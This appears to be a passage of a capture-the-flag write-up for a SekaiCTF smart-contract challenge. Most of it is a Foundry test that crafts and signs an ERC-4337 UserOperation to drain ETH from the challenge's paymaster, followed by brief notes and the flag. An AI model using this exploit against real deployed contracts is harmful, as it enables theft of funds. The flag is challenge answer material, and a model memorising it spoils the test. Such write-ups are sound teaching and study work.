104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Setup.sol";
import "../src/SimplePaymaster.sol";
import { SimpleAccountFactory } from "@account-abstraction/contracts/samples/SimpleAccountFactory.sol";
import { SimpleAccount } from "@account-abstraction/contracts/samples/SimpleAccount.sol";

import { SenderCreator } from "@account-abstraction/contracts/core/SenderCreator.sol";
import { EntryPoint } from "@account-abstraction/contracts/core/EntryPoint.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";


contract ContractTest is Test {
    Setup public s;
    SimplePaymaster public paymaster;
    SimpleAccountFactory public accountFactory;
    address public account;
    EntryPoint public entryPoint;

    address player = address(0x...);
    uint256 playerKey = 0x...;
    
    function setUp() public {
        vm.createSelectFork(vm.rpcUrl("https://survive.chals.sekai.team/{uuid}"));
        s = Setup(0x...);
        paymaster = s.paymaster();
        accountFactory = s.accountFactory();
        account = s.account();
        entryPoint = EntryPoint(payable(address(paymaster.entryPoint())));
    }

    // function testWithdraw() public {
    //     console.log(address(entryPoint).balance);
    //     console.log(address(paymaster).balance);
    //     console.log(address(player).balance);

    //     vm.startPrank(player);
    //     paymaster.withdrawTo(payable(player), 19.5 ether);

    //     console.log(address(entryPoint).balance);
    //     console.log(address(paymaster).balance);
    //     console.log(address(player).balance);

    //     require(s.isSolved() == true, "Exploit failed");
    // }

    function testExploit() public {
        console.log(address(entryPoint).balance);
        console.log(address(player).balance);

        vm.startPrank(address(s));

        // Preparing initCode to create the account contract
        // initCode: factory address (20bytes) || calldata
        bytes memory initCode = abi.encodePacked(
            bytes20(address(accountFactory)),
            abi.encodeWithSelector(
                0x5fbfb9cf,         // "createAccount(address,uint256)": "5fbfb9cf",
                address(player),    // owner
                uint256(0)          // salt
            )
        );

        // Prepare the UserOperation
        PackedUserOperation memory userOp = PackedUserOperation({
            sender: account,
            nonce: entryPoint.getNonce(account, 0),
            initCode: initCode,
            callData: new bytes(0),
            accountGasLimits: bytes32(abi.encodePacked(uint128(3000000), uint128(3000000))),
            preVerificationGas: 0xaabbccdd,
            gasFees: bytes32(abi.encodePacked(uint128(5), uint128(99))),
            paymasterAndData: abi.encodePacked(
                address(paymaster),
                uint128(3000000),
                uint128(3000000),
                bytes("")
            ),
            signature: new bytes(0)
        });

        // Sign the UserOperation
        bytes32 userOpHash = entryPoint.getUserOpHash(userOp);
        bytes32 _hash = MessageHashUtils.toEthSignedMessageHash(userOpHash);
        (uint8 v, bytes32 r, bytes32 _s) = vm.sign(playerKey, _hash);
        userOp.signature = abi.encodePacked(r, _s, v);

        address owner = ECDSA.recover(_hash, userOp.signature);
        require(owner == player, "wrong owner");

        // Prepare the UserOperation array
        PackedUserOperation[] memory ops = new PackedUserOperation[](1);
        ops[0] = userOp;

        // Execute the UserOperation
        // entryPoint.handleOps(ops, payable(player));

        bytes memory handleOpCalldata = abi.encodeWithSelector(
            0x765e827f,
            ops,
            payable(player),
            0x40,
            0x000000000000000000000000000000000000cafE
        );
        console.log(bytesToHex(handleOpCalldata));
		
		(bool success,) = address(entryPoint).call(handleOpCalldata);
        console.log(success);
        require(success, "failed to call `handleOps`");

        console.log(address(entryPoint).balance);
        console.log(address(player).balance);

        // Now the player get some ETHs to fire a tx withdrawing 19 ETHs from paymaster
        vm.startPrank(address(player));
        paymaster.withdrawTo(payable(player), 19 ether);

        console.log(address(entryPoint).balance);
        console.log(address(player).balance);

        require(s.isSolved() == true, "Exploit failed");
    }

    function bytesToHex(bytes memory data) public pure returns (string memory) {
        bytes memory hexAlphabet = "0123456789abcdef";

        bytes memory str = new bytes(2 + data.length * 2);
        str[0] = '0';
        str[1] = 'x';

        for (uint i = 0; i < data.length; i++) {
            str[2 + i * 2] = hexAlphabet[uint8(data[i] >> 4)];
            str[3 + i * 2] = hexAlphabet[uint8(data[i] & 0x0f)];
        }

        return string(str);
    }

}

A lot of efforts are required to construct the UserOperation structure.

Since the account contract hasn’t been created yet, when first calling handleOps, we need to provide the initCode to create the account contract, otherwise the handleOps function will revert. What the initCode does is call the createAccount(address,uint256) function of the accountFactory contract.

The signature should be signed correctly as well.

Run forge test -vv, and then the calldata will be printed out and the test will pass as well.

Sending the calldata to the server solves this challenge.

The flag is: SEKAI{(*V*)/E_1t5_n4t1v3_70k3n5!!!}